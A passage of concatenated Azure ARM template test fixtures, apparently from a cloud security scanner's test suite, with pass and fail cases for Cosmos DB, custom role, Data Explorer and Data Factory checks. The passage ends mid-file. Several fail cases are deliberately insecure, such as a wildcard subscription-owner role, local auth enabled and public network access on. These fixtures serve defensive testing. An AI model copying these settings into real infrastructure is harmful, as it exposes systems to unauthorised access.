FILE: tests/arm/checks/resource/example_CosmosDBHaveCMK/fail.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "name": { "type": "string" }, "location": { "type": "string" }, "locationName": { "type": "string" }, "defaultExperience": { "type": "string" }, "isZoneRedundant": { "type": "string" } }, "variables": {}, "resources": [ { "apiVersion": "2023-03-15-preview", "kind": "GlobalDocumentDB", "type": "Microsoft.DocumentDb/databaseAccounts", "name": "fail", "location": "[parameters('location')]", "properties": { "databaseAccountOfferType": "Standard", "locations": [ { "id": "[concat(parameters('name'), '-', parameters('location'))]", "failoverPriority": 0, "locationName": "[parameters('locationName')]" } ], "backupPolicy": { "type": "Periodic", "periodicModeProperties": { "backupIntervalInMinutes": 240, "backupRetentionIntervalInHours": 8, "backupStorageRedundancy": "Geo" } }, "isVirtualNetworkFilterEnabled": false, "virtualNetworkRules": [], "ipRules": [], "dependsOn": [], "minimalTlsVersion": "Tls12", "enableMultipleWriteLocations": false, "capabilities": [], "enableFreeTier": true, "capacity": { "totalThroughputLimit": 1000 } }, "tags": { "defaultExperience": "[parameters('defaultExperience')]", "hidden-cosmos-mmspecial": "" } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBHaveCMK/pass.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "name": { "type": "string" }, "location": { "type": "string" }, "locationName": { "type": "string" }, "defaultExperience": { "type": "string" }, "isZoneRedundant": { "type": "string" } }, "variables": {}, "resources": [ { "apiVersion": "2023-03-15-preview", "kind": "GlobalDocumentDB", "type": "Microsoft.DocumentDb/databaseAccounts", "name": "pass", "location": "[parameters('location')]", "properties": { "databaseAccountOfferType": "Standard", "locations": [ { "id": "[concat(parameters('name'), '-', parameters('location'))]", "failoverPriority": 0, "locationName": "[parameters('locationName')]" } ], "backupPolicy": { "type": "Periodic", "periodicModeProperties": { "backupIntervalInMinutes": 240, "backupRetentionIntervalInHours": 8, "backupStorageRedundancy": "Geo" } }, "isVirtualNetworkFilterEnabled": false, "virtualNetworkRules": [], "ipRules": [], "dependsOn": [], "minimalTlsVersion": "Tls12", "enableMultipleWriteLocations": false, "capabilities": [], "enableFreeTier": true, "capacity": { "totalThroughputLimit": 1000 }, "keyVaultKeyUri": "https://examplekeyvaultjgw.vault.azure.net/keys/temp" }, "tags": { "defaultExperience": "[parameters('defaultExperience')]", "hidden-cosmos-mmspecial": "" } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBLocalAuthDisabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.12.40.16777", "templateHash": "13150321745581597627" } }, "parameters": { "accountName": { "type": "string", "defaultValue": "[format('sql-{0}', toLower(uniqueString(resourceGroup().id)))]", "metadata": { "description": "Cosmos DB account name, max length 44 characters" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for the Cosmos DB account." } }, "defaultConsistencyLevel": { "type": "string", "defaultValue": "Session", "metadata": { "description": "The default consistency level of the Cosmos DB account." }, "allowedValues": [ "Eventual", "ConsistentPrefix", "Session", "BoundedStaleness", "Strong" ] }, "maxStalenessPrefix": { "type": "int", "defaultValue": 100000, "metadata": { "description": "Max stale requests. Required for BoundedStaleness. Valid ranges, Single Region: 10 to 2147483647. Multi Region: 100000 to 2147483647." }, "maxValue": 2147483647, "minValue": 10 }, "maxIntervalInSeconds": { "type": "int", "defaultValue": 300, "metadata": { "description": "Max lag time (minutes). Required for BoundedStaleness. Valid ranges, Single Region: 5 to 84600. Multi Region: 300 to 86400." }, "maxValue": 86400, "minValue": 5 } }, "variables": { "consistencyPolicy": { "Eventual": { "defaultConsistencyLevel": "Eventual" }, "ConsistentPrefix": { "defaultConsistencyLevel": "ConsistentPrefix" }, "Session": { "defaultConsistencyLevel": "Session" }, "BoundedStaleness": { "defaultConsistencyLevel": "BoundedStaleness", "maxStalenessPrefix": "[parameters('maxStalenessPrefix')]", "maxIntervalInSeconds": "[parameters('maxIntervalInSeconds')]" }, "Strong": { "defaultConsistencyLevel": "Strong" } } }, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2022-05-15", "name": "fail", "location": "[parameters('location')]", "kind": "GlobalDocumentDB", "properties": { "databaseAccountOfferType": "Standard", "consistencyPolicy": "[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]", "locations": [ { "locationName": "[parameters('location')]", "failoverPriority": 0, "isZoneRedundant": false } ], "capabilities": [ { "name": "EnableServerless" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBLocalAuthDisabled/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.12.40.16777", "templateHash": "13150321745581597627" } }, "parameters": { "accountName": { "type": "string", "defaultValue": "[format('sql-{0}', toLower(uniqueString(resourceGroup().id)))]", "metadata": { "description": "Cosmos DB account name, max length 44 characters" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for the Cosmos DB account." } }, "defaultConsistencyLevel": { "type": "string", "defaultValue": "Session", "metadata": { "description": "The default consistency level of the Cosmos DB account." }, "allowedValues": [ "Eventual", "ConsistentPrefix", "Session", "BoundedStaleness", "Strong" ] }, "maxStalenessPrefix": { "type": "int", "defaultValue": 100000, "metadata": { "description": "Max stale requests. Required for BoundedStaleness. Valid ranges, Single Region: 10 to 2147483647. Multi Region: 100000 to 2147483647." }, "maxValue": 2147483647, "minValue": 10 }, "maxIntervalInSeconds": { "type": "int", "defaultValue": 300, "metadata": { "description": "Max lag time (minutes). Required for BoundedStaleness. Valid ranges, Single Region: 5 to 84600. Multi Region: 300 to 86400." }, "maxValue": 86400, "minValue": 5 } }, "variables": { "consistencyPolicy": { "Eventual": { "defaultConsistencyLevel": "Eventual" }, "ConsistentPrefix": { "defaultConsistencyLevel": "ConsistentPrefix" }, "Session": { "defaultConsistencyLevel": "Session" }, "BoundedStaleness": { "defaultConsistencyLevel": "BoundedStaleness", "maxStalenessPrefix": "[parameters('maxStalenessPrefix')]", "maxIntervalInSeconds": "[parameters('maxIntervalInSeconds')]" }, "Strong": { "defaultConsistencyLevel": "Strong" } } }, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2022-05-15", "name": "fail1", "location": "[parameters('location')]", "kind": "GlobalDocumentDB", "properties": { "disableLocalAuth": false, "databaseAccountOfferType": "Standard", "consistencyPolicy": "[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]", "locations": [ { "locationName": "[parameters('location')]", "failoverPriority": 0, "isZoneRedundant": false } ], "capabilities": [ { "name": "EnableServerless" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBLocalAuthDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.12.40.16777", "templateHash": "13150321745581597627" } }, "parameters": { "accountName": { "type": "string", "defaultValue": "[format('sql-{0}', toLower(uniqueString(resourceGroup().id)))]", "metadata": { "description": "Cosmos DB account name, max length 44 characters" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for the Cosmos DB account." } }, "defaultConsistencyLevel": { "type": "string", "defaultValue": "Session", "metadata": { "description": "The default consistency level of the Cosmos DB account." }, "allowedValues": [ "Eventual", "ConsistentPrefix", "Session", "BoundedStaleness", "Strong" ] }, "maxStalenessPrefix": { "type": "int", "defaultValue": 100000, "metadata": { "description": "Max stale requests. Required for BoundedStaleness. Valid ranges, Single Region: 10 to 2147483647. Multi Region: 100000 to 2147483647." }, "maxValue": 2147483647, "minValue": 10 }, "maxIntervalInSeconds": { "type": "int", "defaultValue": 300, "metadata": { "description": "Max lag time (minutes). Required for BoundedStaleness. Valid ranges, Single Region: 5 to 84600. Multi Region: 300 to 86400." }, "maxValue": 86400, "minValue": 5 } }, "variables": { "consistencyPolicy": { "Eventual": { "defaultConsistencyLevel": "Eventual" }, "ConsistentPrefix": { "defaultConsistencyLevel": "ConsistentPrefix" }, "Session": { "defaultConsistencyLevel": "Session" }, "BoundedStaleness": { "defaultConsistencyLevel": "BoundedStaleness", "maxStalenessPrefix": "[parameters('maxStalenessPrefix')]", "maxIntervalInSeconds": "[parameters('maxIntervalInSeconds')]" }, "Strong": { "defaultConsistencyLevel": "Strong" } } }, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2022-05-15", "name": "pass", "location": "[parameters('location')]", "kind": "GlobalDocumentDB", "properties": { "disableLocalAuth": true, "databaseAccountOfferType": "Standard", "consistencyPolicy": "[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]", "locations": [ { "locationName": "[parameters('location')]", "failoverPriority": 0, "isZoneRedundant": false } ], "capabilities": [ { "name": "EnableServerless" } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CosmosDBLocalAuthDisabled/unknown.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.9.1.41621", "templateHash": "17090762923867278967" } }, "parameters": { "accountName": { "type": "string", "defaultValue": "[format('sql-{0}', toLower(uniqueString(resourceGroup().id)))]", "metadata": { "description": "Cosmos DB account name, max length 44 characters" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for the Cosmos DB account." } } }, "resources": [ { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2022-05-15", "name": "unknown", "location": "[parameters('location')]", "kind": "MongoDB", "properties": { "databaseAccountOfferType": "Standard", "locations": [ { "locationName": "[parameters('location')]" } ] } }, { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2022-05-15", "name": "unknown", "kind": "MongoDB", "properties": { "databaseAccountOfferType": "Standard", "consistencyPolicy": "[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]", "locations": [ { "locationName": "[parameters('location')]", "failoverPriority": 0, "isZoneRedundant": false } ], "capabilities": [ { "name": "EnableServerless" } ], "disableLocalAuth": true } }, { "type": "Microsoft.DocumentDB/databaseAccounts", "apiVersion": "2022-05-15", "name": "unknown", "location": "[parameters('location')]", "kind": "MongoDB", "properties": { "databaseAccountOfferType": "Standard", "consistencyPolicy": "[variables('consistencyPolicy')[parameters('defaultConsistencyLevel')]]", "locations": [ { "locationName": "[parameters('location')]", "failoverPriority": 0, "isZoneRedundant": false } ], "capabilities": [ { "name": "EnableServerless" } ], "disableLocalAuth": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_CustomRoleDefinitionSubscriptionOwner/example_customRoleDefinitionSubscriptionOwner-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "actions": { "type": "array", "defaultValue": [ "*" ], "metadata": { "description": "Array of actions for the roleDefinition" } }, "notActions": { "type": "array", "defaultValue": [ ], "metadata": { "description": "Array of notActions for the roleDefinition" } }, "roleName": { "type": "string", "defaultValue": "Custom Role - RG Reader", "metadata": { "description": "Friendly name of the role definition" } }, "roleDescription": { "type": "string", "defaultValue": "Subscription Level Deployment of a Role Definition", "metadata": { "description": "Detailed description of the role definition" } } }, "variables":{ "roleDefName": "[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]" }, "resources": [ { "type": "Microsoft.Authorization/roleDefinitions", "apiVersion": "2018-07-01", "name": "[variables('roleDefName')]", "properties": { "roleName": "[parameters('roleName')]", "description": "[parameters('roleDescription')]", "type": "customRole", "isCustom": true, "permissions": [ { "actions": "[parameters('actions')]", "notActions": "[parameters('notActions')]" } ], "assignableScopes": [ "[subscription().id]" ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_CustomRoleDefinitionSubscriptionOwner/example_customRoleDefinitionSubscriptionOwner-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "actions": { "type": "array", "defaultValue": [ "Microsoft.Resources/subscriptions/resourceGroups/read" ], "metadata": { "description": "Array of actions for the roleDefinition" } }, "notActions": { "type": "array", "defaultValue": [ ], "metadata": { "description": "Array of notActions for the roleDefinition" } }, "roleName": { "type": "string", "defaultValue": "Custom Role - RG Reader", "metadata": { "description": "Friendly name of the role definition" } }, "roleDescription": { "type": "string", "defaultValue": "Subscription Level Deployment of a Role Definition", "metadata": { "description": "Detailed description of the role definition" } } }, "variables":{ "roleDefName": "[guid(subscription().id, string(parameters('actions')), string(parameters('notActions')))]" }, "resources": [ { "type": "Microsoft.Authorization/roleDefinitions", "apiVersion": "2018-07-01", "name": "[variables('roleDefName')]", "properties": { "roleName": "[parameters('roleName')]", "description": "[parameters('roleDescription')]", "type": "customRole", "isCustom": true, "permissions": [ { "actions": "[parameters('actions')]", "notActions": "[parameters('notActions')]" } ], "assignableScopes": [ "[subscription().id]" ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_DataExplorerUsesDiskEncryption/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "11556612112757819680" } }, "parameters": { "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources" } }, "clusterName": { "type": "string", "defaultValue": "[format('kusto{0}', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of the cluster" } }, "skuName": { "type": "string", "defaultValue": "Standard_D12_v2", "metadata": { "description": "Name of the sku" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "maxValue": 1000, "minValue": 2, "metadata": { "description": "# of nodes" } }, "databaseName": { "type": "string", "defaultValue": "kustodb", "metadata": { "description": "Name of the database" } }, "eventHubNamespaceName": { "type": "string", "defaultValue": "[format('eventHub{0}', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of Event Hub's namespace" } }, "eventHubName": { "type": "string", "defaultValue": "kustoHub", "metadata": { "description": "Name of Event Hub" } } }, "variables": { "dataReceiverId": "a638d3c7-ab3a-418d-83e6-5f17a39d4fde", "fullDataReceiverId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', variables('dataReceiverId'))]", "eventHubRoleAssignmentName": "[format('{0}{1}{2}{3}', resourceGroup().id, parameters('clusterName'), variables('dataReceiverId'), parameters('eventHubName'))]", "roleAssignmentName": "[guid(variables('eventHubRoleAssignmentName'), parameters('eventHubName'), variables('dataReceiverId'), parameters('clusterName'))]" }, "resources": [ { "type": "Microsoft.EventHub/namespaces/eventhubs/consumergroups", "apiVersion": "2021-11-01", "name": "[format('{0}/{1}/{2}', parameters('eventHubNamespaceName'), parameters('eventHubName'), 'kustoConsumerGroup')]", "properties": {}, "dependsOn": [ "[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]" ] }, { "type": "Microsoft.EventHub/namespaces/eventhubs", "apiVersion": "2021-11-01", "name": "[format('{0}/{1}', parameters('eventHubNamespaceName'), parameters('eventHubName'))]", "properties": { "messageRetentionInDays": 2, "partitionCount": 2 }, "dependsOn": [ "[resourceId('Microsoft.EventHub/namespaces', parameters('eventHubNamespaceName'))]" ] }, { "type": "Microsoft.Kusto/clusters/databases/scripts", "apiVersion": "2022-02-01", "name": "[format('{0}/{1}/{2}', parameters('clusterName'), parameters('databaseName'), 'db-script')]", "properties": { "scriptContent": "// Create a landing table for Event Hub's events\n.create-merge table RawEvents(document:dynamic)\n\n// Create mapping from JSON ingestion to landing table\n.create-or-alter table RawEvents ingestion json mapping 'DirectJson' '[{\"column\":\"document\",\"path\":\"$\",\"datatype\":\"dynamic\"}]'\n\n// We modify the ingestion batching policy to make it easy to see records coming ingestion\n// THIS CONFIGURATION SHOULDN'T BE USED IN PRODUCTION: MaximumBatchingTimeSpan SHOULD BE AT LEAST 1 MINUTE\n.alter table RawEvents policy ingestionbatching \"{'MaximumBatchingTimeSpan': '0:0:10', 'MaximumNumberOfItems': 10000}\"", "continueOnErrors": false }, "dependsOn": [ "[resourceId('Microsoft.Kusto/clusters/databases', parameters('clusterName'), parameters('databaseName'))]" ] }, { "type": "Microsoft.Kusto/clusters/databases/dataConnections", "apiVersion": "2022-02-01", "name": "[format('{0}/{1}/{2}', parameters('clusterName'), parameters('databaseName'), 'eventConnection')]", "location": "[parameters('location')]", "kind": "EventHub", "properties": { "compression": "None", "consumerGroup": "kustoConsumerGroup", "dataFormat": "MULTIJSON", "eventHubResourceId": "[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]", "eventSystemProperties": [ "x-opt-enqueued-time" ], "managedIdentityResourceId": "[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]", "mappingRuleName": "DirectJson", "tableName": "RawEvents" }, "dependsOn": [ "[extensionResourceId(resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName')), 'Microsoft.Authorization/roleAssignments', variables('roleAssignmentName'))]", "[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]", "[resourceId('Microsoft.EventHub/namespaces/eventhubs/consumergroups', parameters('eventHubNamespaceName'), parameters('eventHubName'), 'kustoConsumerGroup')]", "[resourceId('Microsoft.Kusto/clusters/databases', parameters('clusterName'), parameters('databaseName'))]", "[resourceId('Microsoft.Kusto/clusters/databases/scripts', parameters('clusterName'), parameters('databaseName'), 'db-script')]" ] }, { "type": "Microsoft.Kusto/clusters/databases", "apiVersion": "2022-02-01", "name": "[format('{0}/{1}', parameters('clusterName'), parameters('databaseName'))]", "location": "[parameters('location')]", "kind": "ReadWrite", "dependsOn": [ "[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]" ] }, { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2021-11-01", "name": "[parameters('eventHubNamespaceName')]", "location": "[parameters('location')]", "sku": { "capacity": 1, "name": "Standard", "tier": "Standard" }, "properties": {} }, { "type": "Microsoft.Kusto/clusters", "apiVersion": "2022-02-01", "name": "fail", "location": "[parameters('location')]", "sku": { "name": "[parameters('skuName')]", "tier": "Standard", "capacity": "[parameters('skuCapacity')]" }, "identity": { "type": "SystemAssigned" }, "properties": { "enableDiskEncryption":false } }, { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2021-04-01-preview", "scope": "[format('Microsoft.EventHub/namespaces/{0}/eventhubs/{1}', parameters('eventHubNamespaceName'), parameters('eventHubName'))]", "name": "[variables('roleAssignmentName')]", "properties": { "description": "Give \"Azure Event Hubs Data Receiver\" to the cluster", "principalId": "[reference(resourceId('Microsoft.Kusto/clusters', parameters('clusterName')), '2022-02-01', 'full').identity.principalId]", "principalType": "ServicePrincipal", "roleDefinitionId": "[variables('fullDataReceiverId')]" }, "dependsOn": [ "[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]", "[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_DataExplorerUsesDiskEncryption/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "11556612112757819680" } }, "parameters": { "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources" } }, "clusterName": { "type": "string", "defaultValue": "[format('kusto{0}', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of the cluster" } }, "skuName": { "type": "string", "defaultValue": "Standard_D12_v2", "metadata": { "description": "Name of the sku" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "maxValue": 1000, "minValue": 2, "metadata": { "description": "# of nodes" } }, "databaseName": { "type": "string", "defaultValue": "kustodb", "metadata": { "description": "Name of the database" } }, "eventHubNamespaceName": { "type": "string", "defaultValue": "[format('eventHub{0}', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of Event Hub's namespace" } }, "eventHubName": { "type": "string", "defaultValue": "kustoHub", "metadata": { "description": "Name of Event Hub" } } }, "variables": { "dataReceiverId": "a638d3c7-ab3a-418d-83e6-5f17a39d4fde", "fullDataReceiverId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', variables('dataReceiverId'))]", "eventHubRoleAssignmentName": "[format('{0}{1}{2}{3}', resourceGroup().id, parameters('clusterName'), variables('dataReceiverId'), parameters('eventHubName'))]", "roleAssignmentName": "[guid(variables('eventHubRoleAssignmentName'), parameters('eventHubName'), variables('dataReceiverId'), parameters('clusterName'))]" }, "resources": [ { "type": "Microsoft.EventHub/namespaces/eventhubs/consumergroups", "apiVersion": "2021-11-01", "name": "[format('{0}/{1}/{2}', parameters('eventHubNamespaceName'), parameters('eventHubName'), 'kustoConsumerGroup')]", "properties": {}, "dependsOn": [ "[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]" ] }, { "type": "Microsoft.EventHub/namespaces/eventhubs", "apiVersion": "2021-11-01", "name": "[format('{0}/{1}', parameters('eventHubNamespaceName'), parameters('eventHubName'))]", "properties": { "messageRetentionInDays": 2, "partitionCount": 2 }, "dependsOn": [ "[resourceId('Microsoft.EventHub/namespaces', parameters('eventHubNamespaceName'))]" ] }, { "type": "Microsoft.Kusto/clusters/databases/scripts", "apiVersion": "2022-02-01", "name": "[format('{0}/{1}/{2}', parameters('clusterName'), parameters('databaseName'), 'db-script')]", "properties": { "scriptContent": "// Create a landing table for Event Hub's events\n.create-merge table RawEvents(document:dynamic)\n\n// Create mapping from JSON ingestion to landing table\n.create-or-alter table RawEvents ingestion json mapping 'DirectJson' '[{\"column\":\"document\",\"path\":\"$\",\"datatype\":\"dynamic\"}]'\n\n// We modify the ingestion batching policy to make it easy to see records coming ingestion\n// THIS CONFIGURATION SHOULDN'T BE USED IN PRODUCTION: MaximumBatchingTimeSpan SHOULD BE AT LEAST 1 MINUTE\n.alter table RawEvents policy ingestionbatching \"{'MaximumBatchingTimeSpan': '0:0:10', 'MaximumNumberOfItems': 10000}\"", "continueOnErrors": false }, "dependsOn": [ "[resourceId('Microsoft.Kusto/clusters/databases', parameters('clusterName'), parameters('databaseName'))]" ] }, { "type": "Microsoft.Kusto/clusters/databases/dataConnections", "apiVersion": "2022-02-01", "name": "[format('{0}/{1}/{2}', parameters('clusterName'), parameters('databaseName'), 'eventConnection')]", "location": "[parameters('location')]", "kind": "EventHub", "properties": { "compression": "None", "consumerGroup": "kustoConsumerGroup", "dataFormat": "MULTIJSON", "eventHubResourceId": "[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]", "eventSystemProperties": [ "x-opt-enqueued-time" ], "managedIdentityResourceId": "[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]", "mappingRuleName": "DirectJson", "tableName": "RawEvents" }, "dependsOn": [ "[extensionResourceId(resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName')), 'Microsoft.Authorization/roleAssignments', variables('roleAssignmentName'))]", "[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]", "[resourceId('Microsoft.EventHub/namespaces/eventhubs/consumergroups', parameters('eventHubNamespaceName'), parameters('eventHubName'), 'kustoConsumerGroup')]", "[resourceId('Microsoft.Kusto/clusters/databases', parameters('clusterName'), parameters('databaseName'))]", "[resourceId('Microsoft.Kusto/clusters/databases/scripts', parameters('clusterName'), parameters('databaseName'), 'db-script')]" ] }, { "type": "Microsoft.Kusto/clusters/databases", "apiVersion": "2022-02-01", "name": "[format('{0}/{1}', parameters('clusterName'), parameters('databaseName'))]", "location": "[parameters('location')]", "kind": "ReadWrite", "dependsOn": [ "[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]" ] }, { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2021-11-01", "name": "[parameters('eventHubNamespaceName')]", "location": "[parameters('location')]", "sku": { "capacity": 1, "name": "Standard", "tier": "Standard" }, "properties": {} }, { "type": "Microsoft.Kusto/clusters", "apiVersion": "2022-02-01", "name": "pass", "location": "[parameters('location')]", "sku": { "name": "[parameters('skuName')]", "tier": "Standard", "capacity": "[parameters('skuCapacity')]" }, "identity": { "type": "SystemAssigned" }, "properties": { "enableDiskEncryption":true } }, { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2021-04-01-preview", "scope": "[format('Microsoft.EventHub/namespaces/{0}/eventhubs/{1}', parameters('eventHubNamespaceName'), parameters('eventHubName'))]", "name": "[variables('roleAssignmentName')]", "properties": { "description": "Give \"Azure Event Hubs Data Receiver\" to the cluster", "principalId": "[reference(resourceId('Microsoft.Kusto/clusters', parameters('clusterName')), '2022-02-01', 'full').identity.principalId]", "principalType": "ServicePrincipal", "roleDefinitionId": "[variables('fullDataReceiverId')]" }, "dependsOn": [ "[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]", "[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_DataFactoryNoPublicNetworkAccess/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DataFactory/factories", "apiVersion": "2018-06-01", "name": "fail1", "location": "[resourceGroup().location]" } ] } ================================================ FILE: tests/arm/checks/resource/example_DataFactoryNoPublicNetworkAccess/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DataFactory/factories", "apiVersion": "2018-06-01", "name": "fail2", "location": "[resourceGroup().location]", "properties": { "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_DataFactoryNoPublicNetworkAccess/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DataFactory/factories", "apiVersion": "2018-06-01", "name": "pass", "location": "[resourceGroup().location]", "properties": { "publicNetworkAccess": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_DataFactoryUsesGitRepository/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "subscription": { "defaultValue": "", "type": "string" }, "resourceGroup": { "defaultValue": "", "type": "string" }, "name": { "defaultValue": "myv2datafactory", "type": "string" }, "version": { "defaultValue": "V2", "type": "string" }, "location": { "defaultValue": "eastus", "type": "string" }, "tagsByResource": { "type": "Object" }, "vNetEnabled": { "defaultValue": false, "type": "bool" }, "publicNetworkAccess": { "defaultValue": true, "type": "bool" }, "privateEndpoints": { "type": "array", "metadata": { "description": "Private endpoints. Empty if no private network access selected." } }, "gitConfigureLater": { "defaultValue": true, "type": "bool" }, "gitRepoType": { "defaultValue": "FactoryVSTSConfiguration", "type": "string" }, "gitAccountName": { "defaultValue": "", "type": "string" }, "gitProjectName": { "defaultValue": "", "type": "string" }, "gitRepositoryName": { "defaultValue": "", "type": "string" }, "gitCollaborationBranch": { "defaultValue": "master", "type": "string" }, "gitRootFolder": { "defaultValue": "/", "type": "string" }, "userAssignedIdentities": { "defaultValue": { "type": "SystemAssigned" }, "type": "object" }, "userAssignedIdentitiesStr": { "defaultValue": "", "type": "string" }, "vaultBaseUrl": { "defaultValue": "", "type": "string" }, "keyName": { "defaultValue": "", "type": "string" }, "keyVersion": { "defaultValue": "", "type": "string" }, "enableCMK": { "defaultValue": false, "type": "bool" }, "cmkIdentity": { "defaultValue": "", "type": "string" } }, "variables": { "hasPE": "[greater(length(parameters('privateEndpoints')), 0)]", "resourceGroupId": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.value.name, '')]", "subNetId": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.privateEndpoint.properties.subnet.id, '')]", "subNetSub": "[if(variables('hasPE'),split(variables('subNetId'),'/')[2],'')]", "subNetRg": "[if(variables('hasPE'),split(variables('subNetId'),'/')[4],'')]", "subNetName": "[if(variables('hasPE'),split(variables('subNetId'),'/')[8],'')]", "integrateDns": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateDnsZoneConfiguration.integrateWithPrivateDnsZone, 'true')]" }, "resources": [ { "condition": "[equals(parameters('version'), 'V2')]", "type": "Microsoft.DataFactory/factories", "apiVersion": "2018-06-01", "name": "fail", "location": "[parameters('location')]", "identity": "[if(parameters('enableCMK'),json(parameters('userAssignedIdentitiesStr')), parameters('userAssignedIdentities'))]", "properties": { "repoConfiguration": "", "publicNetworkAccess": "[if(bool(parameters('publicNetworkAccess')), 'Enabled', 'Disabled')]", "encryption": "[if(parameters('enableCMK'), json(concat('{\"identity\":{\"userAssignedIdentity\":\"', parameters('cmkIdentity'), '\"},','\"VaultBaseUrl\": \"', 